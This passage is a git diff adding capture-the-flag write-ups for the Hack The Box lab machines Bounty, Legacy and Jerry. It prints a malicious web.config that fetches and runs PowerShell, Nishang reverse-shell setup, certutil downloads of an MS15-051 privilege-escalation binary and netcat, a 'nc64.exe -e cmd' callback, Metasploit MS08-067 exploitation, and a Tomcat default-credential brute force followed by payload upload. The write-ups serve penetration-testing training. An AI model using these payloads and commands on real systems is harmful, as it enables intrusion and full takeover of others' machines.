VERSION + 80/tcp open http Microsoft IIS httpd 7.5 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/7.5 + |_http-title: Bounty + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 20.16 seconds + + +## **Part 2 : Getting User Access** + +It seems like our nmap scan found the 80th port opened, we will run a gobuster scan in order to enumerate the directories we will be able to work with. + + + λ nihilist [ 93.22.134.89 ] [~] → gobuster -u http://10.10.10.93/ -w /usr/share/wordlists/directory-list-2.3-medium.txt + + + ===================================================== + Gobuster v2.0.0 OJ Reeves (@TheColonial) + ===================================================== + [+] Mode : dir + [+] Url/Domain : http://10.10.10.93/ + [+] Threads : 50 + [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes : 200,204,301,302,307,403 + [+] Extensions : aspx + [+] Timeout : 10s + ===================================================== + 2019/11/25 08:28:36 Starting gobuster + ===================================================== + /transfer.aspx (Status: 200) + /uploadedFiles (Status: 301) + + +Gobuster seems to have found 2 interesting pages : -/transfer.aspx (which returns a status 200) -/uploadedfiles (which returns a status 301) + +![](prg/19_001.png) ![](prg/19_002.png) + +Searching for the keywords **"IIS 7.5 RCE"** , the results tell us that we should be able to upload a file **web.config** + +We will submit our script to the website and ready our terminal running the command nc with the -lvnp flags in order to catch the incoming connection to our 9001 port. + +_web.config:_ + + + <****?xml version="1.0" encoding="UTF-8"?> <****configuration> <****system.webServer> <****handlers accessPolicy="Read, Script, Write"> <****add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> <****/handlers> <****security> <****requestFiltering> <****fileExtensions> <****remove fileExtension=".config" /> <****hiddenSegments> <****/fileExtensions> <****remove segment="web.config" /> <****/hiddenSegments> <****/requestFiltering> <****/security> <****/system.webServer> <****/configuration> <****%@ Language=VBScript %> <****% + Set s = CreateObject("WScript.Shell") + Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('ht> + o = cmd.StdOut.Readall() + Response.write(o) + %****>**** + +Our nihilist.ps1 script is a copy of Nishang's [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1) + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bounty] → curl -sk https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 > nihilist.ps1 + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bounty] → echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.48 -Port 9001' >> nihilist.ps1 + + +As it is written above, our nihilist.ps1 script will attempt to send a reverse shell connection to our machine at the of 10.10.14.48 adress, onto it's 9001st port. So we will ready our terminal with the nc command and it's -lvnp flags in order to catch the incoming connection. + + + λ nihilist [ 10.10.14.48/23 ] [~/_HTB/Bounty] → nc -lvnp 9001 + + +We submit our web.config file + +![](prg/19_004.png) + +We then browse to it, and then we wait for the reverse shell to come back to our terminal. + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bounty ] + → python2 -m SimpleHTTPServer + Serving HTTP on 0.0.0.0 port 8000 ... + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bounty ] + → nc -lvnp 9001 + + +_Terminal 3:_ + + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bounty ] + → curl -vsk http://10.10.10.93/UploadedFiles/web.config + * Trying 10.10.10.93:80... + * TCP_NODELAY set + * Connected to 10.10.10.93 (10.10.10.93) port 80 (#0) + > GET /UploadedFiles/web.config HTTP/1.1 + > Host: 10.10.10.93 + > User-Agent: curl/7.67.0 + > Accept: */* + > + + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bounty ] + → python2 -m SimpleHTTPServer + Serving HTTP on 0.0.0.0 port 8000 ... + 10.10.10.93 - - [02/Dec/2019 08:22:36] "GET /nihilist.ps1 HTTP/1.1" 200 - + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bounty ] + → nc -lvnp 9001 + Connection from 10.10.10.93:49158 + Windows PowerShell running as user BOUNTY$ on BOUNTY + Copyright (C) 2015 Microsoft Corporation. All rights reserved. + + PS C:\windows\system32\inetsrv> + + PS C:\windows\system32\inetsrv> whoami + bounty\merlin + + +And we're in ! we are logged in as the user merlin, now let's grab the user flag located in C:\users\merlin\desktop + +![](prg/19_005.png) + + + PS C:\windows\system32\inetsrv> cd ../../.. + PS C:\> ls + + + Directory: C:\ + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d---- 5/30/2018 4:14 AM inetpub + d---- 7/14/2009 6:20 AM PerfLogs + d-r-- 6/10/2018 3:43 PM Program Files + d-r-- 7/14/2009 8:06 AM Program Files (x86) + d-r-- 5/31/2018 12:18 AM Users + d---- 5/31/2018 11:37 AM Windows + + + PS C:\> cd Users\Merlin + PS C:\Users\Merlin> cd Desktop + PS C:\Users\Merlin\Desktop> more user.txt + e2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Part 3 : Getting Root Access** + +In order to escalate privileges from merlin to the SYSTEM user, we need to first look at the results of the systeminfo command. + +_Terminal 1:_ + + + PS C:\Users> systeminfo + + Host Name: BOUNTY + OS Name: Microsoft Windows Server 2008 R2 Datacenter + OS Version: 6.1.7600 N/A Build 7600 + OS Manufacturer: Microsoft Corporation + OS Configuration: Standalone Server + OS Build Type: Multiprocessor Free + Registered Owner: Windows User + Registered Organization: + Product ID: 55041-402-3606965-84760 + Original Install Date: 5/30/2018, 12:22:24 AM + System Boot Time: 12/2/2019, 8:56:08 AM + System Manufacturer: VMware, Inc. + System Model: VMware Virtual Platform + System Type: x64-based PC + Processor(s): 1 Processor(s) Installed. + [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018 + Windows Directory: C:\Windows + System Directory: C:\Windows\system32 + Boot Device: \Device\HarddiskVolume1 + System Locale: en-us;English (United States) + Input Locale: en-us;English (United States) + Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul + Total Physical Memory: 2,047 MB + Available Physical Memory: 1,588 MB + Virtual Memory: Max Size: 4,095 MB + Virtual Memory: Available: 3,595 MB + Virtual Memory: In Use: 500 MB + Page File Location(s): C:\pagefile.sys + Domain: WORKGROUP + Logon Server: N/A + Hotfix(s): N/A + Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Network Connection + Connection Name: Local Area Connection + DHCP Enabled: No + IP address(es) + [01]: 10.10.10.93 + + + +We see that there are no Hotfixes onto the machine, which indicates a serious security flaw. So we will attempt to escalate privileges using the MS15-051. we will not forget that we will be applying a privilege escalation binary onto a 64 bit machine. + +Download from https://eternallybored.org/misc/netcat/ + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bounty ] + → wget https://github.com/euphrat1ca/ms15-051/raw/master/ms15-051/ms15-051/x64/ms15-051.exe + --2019-12-02 09:07:00-- https://github.com/euphrat1ca/ms15-051/raw/master/ms15-051/ms15-051/x64/ms15-051.exe + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.118.3 + Connecting to github.com (github.com)|140.82.118.3|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/euphrat1ca/ms15-051/master/ms15-051/ms15-051/x64/ms15-051.exe [following] + --2019-12-02 09:07:00-- https://raw.githubusercontent.com/euphrat1ca/ms15-051/master/ms15-051/ms15-051/x64/ms15-051.exe + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133 + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 55296 (54K) [application/octet-stream] + Saving to: ‘ms15-051.exe’ + + ms15-051.exe 100%[===============================>] 54.00K --.-KB/s in 0.06s + + 2019-12-02 09:07:01 (852 KB/s) - ‘ms15-051.exe’ saved [55296/55296] + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bounty ] + → python2 -m SimpleHTTPServer + Serving HTTP on 0.0.0.0 port 8000 ... + + + +Now we just need to download both the ms15-051.exe and nc.exe binary onto our local machine, at the IP 10.10.14.48 at the 8000th port. + +_Terminal 1:_ + + + PS C:\Users> certutil -urlcache -f http://10.10.14.48:8000/ms15-051.exe nihilist_privesc.exe + **** Online **** + CertUtil: -URLCache command FAILED: 0x80070005 (WIN32: 5) + CertUtil: Access is denied. + + +Let's not forget to download it onto the machine within a folder where we have the write rights. + + + PS C:\Users> cd .. + PS C:\> cd Windows + PS C:\Windows> cd temp + + +Now we should be able to download our 2 binaries + + + PS C:\Windows\temp> certutil -urlcache -f http://10.10.14.48:8000/ms15-051.exe nihilist_privesc.exe + **** Online **** + CertUtil: -URLCache command completed successfully. + + + + PS C:\windows\temp> certutil -urlcache -f http://10.10.14.48:8000/nc64.exe nc64.exe + **** Online **** + CertUtil: -URLCache command completed successfully. + + +Our binaries got uploaded ! now before we execute it we will ready our reverse shell terminal with the same nc command to catch the incoming connection. + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bounty ] + → nc -lvnp 9999 + + +_Terminal 1:_ + + + PS C:\windows\temp> certutil -urlcache -f http://10.10.14.48:8000/nc64.exe nc64.exe + **** Online **** + CertUtil: -URLCache command completed successfully. + PS C:\windows\temp> ls + + + Directory: C:\windows\temp + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d---- 6/10/2018 3:44 PM vmware-SYSTEM + -a--- 5/30/2018 3:19 AM 0 DMI5FAC.tmp + -a--- 12/2/2019 10:12 AM 55296 nihilist_privesc.exe + -a--- 12/2/2019 11:02 AM 43696 nc64.exe + -a--- 6/10/2018 3:44 PM 203777 vminst.log + -a--- 12/2/2019 8:56 AM 57269 vmware-vmsvc.log + -a--- 6/11/2018 12:47 AM 22447 vmware-vmusr.log + -a--- 12/2/2019 8:56 AM 910 vmware-vmvss.log + + + PS C:\windows\temp> ./nihilist_privesc.exe "c:\windows\temp\nc64.exe -e cmd 10.10.14.48 9999" + + + +_Terminal 2:_ + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Bounty ] + → nc -lvnp 9999 + + Connection from 10.10.10.93:49189 + Microsoft Windows [Version 6.1.7600] + Copyright (c) 2009 Microsoft Corporation. All rights reserved. + + + C:\windows\temp>whoami + whoami + nt authority\system + + C:\windows\temp>cd .. + cd .. + + C:\Windows>cd .. + cd .. + + C:\>cd Users + cd Users + + C:\Users>dir + dir + Volume in drive C has no label. + Volume Serial Number is 5084-30B0 + + Directory of C:\Users + + 05/30/2018 11:18 PM <****DIR> . + 05/30/2018 11:18 PM <****DIR> .. + 05/30/2018 11:18 PM <****DIR> Administrator + 05/30/2018 03:44 AM <****DIR> Classic .NET AppPool + 05/29/2018 11:22 PM <****DIR> merlin + 05/30/2018 04:44 AM <****DIR> Public + 0 File(s) 0 bytes + 6 Dir(s) 11,884,384,256 bytes free + + C:\Users>cd Administrator + cd Administrator + + C:\Users\Administrator>cd Desktop + cd Desktop + + C:\Users\Administrator\Desktop>type root.txt + type root.txt + c8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it ! we have been able to get a root shell onto the box and we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/19_graph.png) + diff --git a/Easy/2.md b/Easy/2.md new file mode 100644 index 0000000..f8dbca2 --- /dev/null +++ b/Easy/2.md @@ -0,0 +1,139 @@ +# Legacy Writeup + +![](img/2.png) + +## Introduction : + +Legacy is an easy Windows box released back in March 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ root [/home/nihilist] → nmap -sC -sV 10.10.10.4 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-08 22:10 CET + Nmap scan report for 10.10.10.4 + Host is up (0.044s latency). + Not shown: 997 filtered ports + PORT STATE SERVICE VERSION + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds Windows XP microsoft-ds + 3389/tcp closed ms-wbt-server + Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp + + Host script results: + |_clock-skew: mean: 5d00h59m39s, deviation: 1h24m50s, median: 4d23h59m39s + |_nbstat: NetBIOS name: LEGACY, NetBIOS user: , NetBIOS MAC: 00:50:56:b9:25:bd (VMware) + | smb-os-discovery: + | OS: Windows XP (Windows 2000 LAN Manager) + | OS CPE: cpe:/o:microsoft:windows_xp::- + | Computer name: legacy + | NetBIOS computer name: LEGACY\x00 + | Workgroup: HTB\x00 + |_ System time: 2019-11-14T01:10:09+02:00 + | smb-security-mode: + | account_used: guest + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + |_smb2-time: Protocol negotiation failed (SMB2) + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 63.05 seconds + + +Here we can see that the port 139, 445, and 3389 are opened. We will take a closer look at the port****running the service****. + +## **Part 2 : Getting Access** + +It is highly likely that the machine is vulnerable to MS08-067 RCE so we will test it with the according metasploit module. + + + msf5 > search ms08 + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 auxiliary/admin/ms/ms08_059_his2006 2008-10-14 normal No Microsoft Host Integration Server 2006 Command Execution Vulnerability + 1 auxiliary/fileformat/multidrop normal No Windows SMB Multi Dropper + 2 exploit/windows/browser/ms08_041_snapshotviewer 2008-07-07 excellent No Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download + 3 exploit/windows/browser/ms08_053_mediaencoder 2008-09-09 normal No Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow + 4 exploit/windows/browser/ms08_070_visual_studio_msmask 2008-08-13 normal No Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow + 5 exploit/windows/browser/ms08_078_xml_corruption 2008-12-07 normal No MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption + 6 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption + 7 exploit/windows/smb/smb_relay 2001-03-31 excellent No MS08-068 Microsoft Windows SMB Relay Code Execution + + + msf5 > use exploit/windows/smb/ms08_067_netapi + msf5 exploit(windows/smb/ms08_067_netapi) > show options + + Module options (exploit/windows/smb/ms08_067_netapi): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 445 yes The SMB service port (TCP) + SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) + + + Exploit target: + + Id Name + -- ---- + 0 Automatic Targeting + + + +The module ms08_067_netapi requires us to set the above-mentionned options : RHOSTS and RPORT. + + + msf5 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4 + RHOSTS => 10.10.10.4 + msf5 exploit(windows/smb/ms08_067_netapi) > run + + [*] Started reverse TCP handler on 10.10.14.48:4444 + [*] 10.10.10.4:445 - Automatically detecting the target... + [*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English + [*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX) + [*] 10.10.10.4:445 - Attempting to trigger the vulnerability... + [*] Sending stage (180291 bytes) to 10.10.10.4 + [*] Meterpreter session 2 opened (10.10.14.48:4444 -> 10.10.10.4:1032) at 2019-11-09 11:20:27 +0100 + + meterpreter > pwd + C:\WINDOWS\system32 + meterpreter > getuid + Server username: NT AUTHORITY\SYSTEM + + + +the metasploit module was successful, it gave us a meterpreter shell with elevated privileges. + +## **Part 3 : The Root Access** + +All we need to do now is simply grab the user and root flags. + + + meterpreter > cd Documents\ and\ Settings + meterpreter > cd john + meterpreter > cd Desktop + meterpreter > cat user.txt + e6XXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + meterpreter > cd ../../.. + + meterpreter > cd Documents\ and\ Settings + meterpreter > cd Administrator + meterpreter > cd Desktop + meterpreter > cat root.txt + 99XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/2_graph.png) + diff --git a/Easy/20.md b/Easy/20.md new file mode 100644 index 0000000..a0b4451 --- /dev/null +++ b/Easy/20.md @@ -0,0 +1,307 @@ +# Jerry Writeup + +![](img/20.png) + +## Introduction : + +Jerry is an easy Windows box that was released back in June 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → nmap -sC -sV 10.10.10.95 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-28 08:45 CET + Nmap scan report for 10.10.10.95 + Host is up (0.079s latency). + Not shown: 999 filtered ports + PORT STATE SERVICE VERSION + 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 + |_http-favicon: Apache Tomcat + |_http-open-proxy: Proxy might be redirecting requests + |_http-server-header: Apache-Coyote/1.1 + |_http-title: Apache Tomcat/7.0.88 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 24.10 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan seems to have picked up a tomcat apache webpage. Let's fire up our metasploit console using the tomcat_mgr_login auxiliary module in order to test if the machine has been left off with default credentials. + + + msf5 > use auxiliary/scanner/http/tomcat_mgr_login + + msf5 auxiliary(scanner/http/tomcat_mgr_login) > show options + + Module options (auxiliary/scanner/http/tomcat_mgr_login): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BLANK_PASSWORDS false no Try blank passwords for all users + BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 + DB_ALL_CREDS false no Try each user/password couple stored in the current database + DB_ALL_PASS false no Add all passwords in the current database to the list + DB_ALL_USERS false no Add all users in the current database to the list + PASSWORD no The HTTP password to specify for authentication + PASS_FILE /opt/metasploit/data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 8080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host + TARGETURI /manager/html yes URI for Manager login. Default is /manager/html + THREADS 1 yes The number of concurrent threads (max one per host) + USERNAME no The HTTP username to specify for authentication + USERPASS_FILE /opt/metasploit/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line + USER_AS_PASS false no Try the username as the password for all users + USER_FILE /opt/metasploit/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line + VERBOSE true yes Whether to print output for all attempts + VHOST no HTTP server virtual host + + +Seems like we only need to set the RHOSTS parameters and the scanner should be running. + + + msf5 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.10.10.95 + RHOSTS => 10.10.10.95 + msf5 auxiliary(scanner/http/tomcat_mgr_login) > exploit + + [!] No active DB -- Credential data will not be saved! + [-] 10.10.10.95:8080 - LOGIN FAILED: admin:admin (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: admin:manager (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: admin:role1 (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: admin:root (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: admin:tomcat (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: admin:s3cret (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: admin:vagrant (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: manager:admin (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: manager:manager (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: manager:role1 (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: manager:root (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: manager:tomcat (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: manager:s3cret (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: manager:vagrant (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: role1:admin (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: role1:manager (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: role1:role1 (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: role1:root (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: role1:tomcat (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: role1:s3cret (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: role1:vagrant (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: root:admin (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: root:manager (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: root:role1 (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: root:root (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: root:tomcat (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: root:s3cret (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: root:vagrant (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: tomcat:admin (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: tomcat:manager (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: tomcat:role1 (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: tomcat:root (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: tomcat:tomcat (Incorrect) + + **[+] 10.10.10.95:8080 - Login Successful: tomcat:s3cret** + + [-] 10.10.10.95:8080 - LOGIN FAILED: both:admin (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: both:manager (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: both:role1 (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: both:root (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: both:tomcat (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: both:s3cret (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: both:vagrant (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: j2deployer:j2deployer (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: ovwebusr:OvW*busr1 (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: cxsdk:kdsxc (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: root:owaspbwa (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: ADMIN:ADMIN (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: xampp:xampp (Incorrect) + [-] 10.10.10.95:8080 - LOGIN FAILED: QCC:QLogic66 (Incorrect) + + +The metasploit module bruteforced a few combinations and found the credentials **tomcat:s3cret**! + +## **Part 3 : Getting Root Access** + +In order to gain access to the system, we'll use the tomcat_mgr_upload metasploit module setting it's parameters with the credentials we found earlier + + + msf5 > use multi/http/tomcat_mgr_upload + msf5 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword s3cret + HttpPassword => s3cret + msf5 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat + HttpUsername => tomcat + msf5 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080 + RPORT => 8080 + msf5 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 10.10.10.95 + RHOSTS => 10.10.10.95 + msf5 exploit(multi/http/tomcat_mgr_upload) > exploit + + [*] Started reverse TCP handler on 10.10.14.48:4444 + [*] Retrieving session ID and CSRF token... + [*] Uploading and deploying TL8gS9C... + [*] Executing TL8gS9C... + [*] Sending stage (53928 bytes) to 10.10.10.95 + [*] Undeploying TL8gS9C ... + [*] Meterpreter session 1 opened (10.10.14.48:4444 -> 10.10.10.95:49192) at 2019-11-28 08:59:45 +0100 + + meterpreter > sysinfo + Computer : JERRY + OS : Windows Server 2012 R2 6.3 (amd64) + Meterpreter : java/windows + meterpreter > shell + Process 1 created. + Channel 1 created. + Microsoft Windows [Version 6.3.9600] + (c) 2013 Microsoft Corporation. All rights reserved. + + C:\apache-tomcat-7.0.88>whoami + whoami + nt authority\system + + +And we're in ! the metasploit module spawned a meterpreter session as NT AUTHORITY , now all that's left to do is to find the user and root flags on the system. + + + C:\apache-tomcat-7.0.88>ls + ls + + C:\apache-tomcat-7.0.88>dir + dir + Volume in drive C has no label. + Volume Serial Number is FC2B-E489 + + Directory of C:\apache-tomcat-7.0.88 + + 06/19/2018 03:07 AM <****DIR> . + 06/19/2018 03:07 AM <****DIR> .. + 06/19/2018 03:06 AM <****DIR> bin + 06/19/2018 05:47 AM <****DIR> conf + 06/19/2018 03:06 AM <****DIR> lib + 05/07/2018 01:16 PM 57,896 LICENSE + 11/28/2019 04:43 PM <****DIR> logs + 05/07/2018 01:16 PM 1,275 NOTICE + 05/07/2018 01:16 PM 9,600 RELEASE-NOTES + 05/07/2018 01:16 PM 17,454 RUNNING.txt + 11/28/2019 05:00 PM <****DIR> temp + 11/28/2019 05:00 PM <****DIR> webapps + 06/19/2018 03:34 AM <****DIR> work + 4 File(s) 86,225 bytes + 9 Dir(s) 27,600,842,752 bytes free + + C:\apache-tomcat-7.0.88>cd ../.. + cd ../.. + + C:\>dir + dir + Volume in drive C has no label. + Volume Serial Number is FC2B-E489 + + Directory of C:\ + + 06/19/2018 03:07 AM <****DIR> apache-tomcat-7.0.88 + 08/22/2013 05:52 PM <****DIR> PerfLogs + 06/19/2018 05:42 PM <****DIR> Program Files + 06/19/2018 05:42 PM <****DIR> Program Files (x86) + 06/18/2018 10:31 PM <****DIR> Users + 06/19/2018 05:54 PM <****DIR> Windows + 0 File(s) 0 bytes + 6 Dir(s) 27,600,842,752 bytes free + + C:\>cd Users + cd Users + + C:\Users>dir + dir + Volume in drive C has no label. + Volume Serial Number is FC2B-E489 + + Directory of C:\Users + + 06/18/2018 10:31 PM <****DIR> . + 06/18/2018 10:31 PM <****DIR> .. + 06/18/2018 10:31 PM <****DIR> Administrator + 08/22/2013 05:39 PM <****DIR> Public + 0 File(s) 0 bytes + 4 Dir(s) 27,600,842,752 bytes free + + C:\Users>cd Administrator + cd Administrator + + C:\Users\Administrator>dir + dir + Volume in drive C has no label. + Volume Serial Number is FC2B-E489 + + Directory of C:\Users\Administrator + + 06/18/2018 10:31 PM <****DIR> . + 06/18/2018 10:31 PM <****DIR> .. + 06/19/2018 05:43 AM <****DIR> Contacts + 06/19/2018 06:09 AM <****DIR> Desktop + 06/19/2018 05:43 AM <****DIR> Documents + 06/19/2018 05:43 AM <****DIR> Downloads + 06/19/2018 05:43 AM <****DIR> Favorites + 06/19/2018 05:43 AM <****DIR> Links + 06/19/2018 05:43 AM <****DIR> Music + 06/19/2018 05:43 AM <****DIR> Pictures + 06/19/2018 05:43 AM <****DIR> Saved Games + 06/19/2018 05:43 AM <****DIR> Searches + 06/19/2018 05:43 AM <****DIR> Videos + 0 File(s) 0 bytes + 13 Dir(s) 27,600,842,752 bytes free + + C:\Users\Administrator>cd Desktop + cd Desktop + + C:\Users\Administrator\Desktop>dir + dir + Volume in drive C has no label. + Volume Serial Number is FC2B-E489 + + Directory of C:\Users\Administrator\Desktop + + 06/19/2018 06:09 AM <****DIR> . + 06/19/2018 06:09 AM <****DIR> .. + 06/19/2018 06:09 AM <****DIR> flags + 0 File(s) 0 bytes + 3 Dir(s) 27,600,842,752 bytes free + + dministrator\Desktop>cd flags + cd flags + + C:\Users\Administrator\Desktop\flags>dir + dir | more + Volume in drive C has no label. + Volume Serial Number is FC2B-E489 + + Directory of C:\Users\Administrator\Desktop\flags + + 06/19/2018 06:09 AM <****DIR> . + 06/19/2018 06:09 AM <****DIR> .. + 06/19/2018 06:11 AM 88 2 for the price of 1.txt + 1 File(s) 88 bytes + 2 Dir(s) 27,600,842,752 bytes free + + + C:\Users\Administrator\Desktop\flags>more "2 for the price of 1.txt" + more "2 for the price of 1.txt" + user.txt + 70XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + root.txt + 04XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And thats it ! we have been able to find both the root and user flags at the same time. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/20_graph.png) + diff --git a/Easy/21.md b/Easy/21.md new file mode 100644 index 0000000..7d70f0f --- /dev/null +++ b/Easy/21.md @@ -0,0 +1,510 @@ +# Active Writeup + +![](img/21.png) + +## Introduction : + +Active is an easy Windows box released back in July 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the **-F** flag in order to enumerate the opened ports quickly. + + + λ nihilist [ 10.10.14.48/23 ] [ ~ ] + → nmap -F 10.10.10.100 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-28 10:28 CET + Nmap scan report for 10.10.10.100 + Host is up (0.079s latency). + Not shown: 89 closed ports + PORT STATE SERVICE + 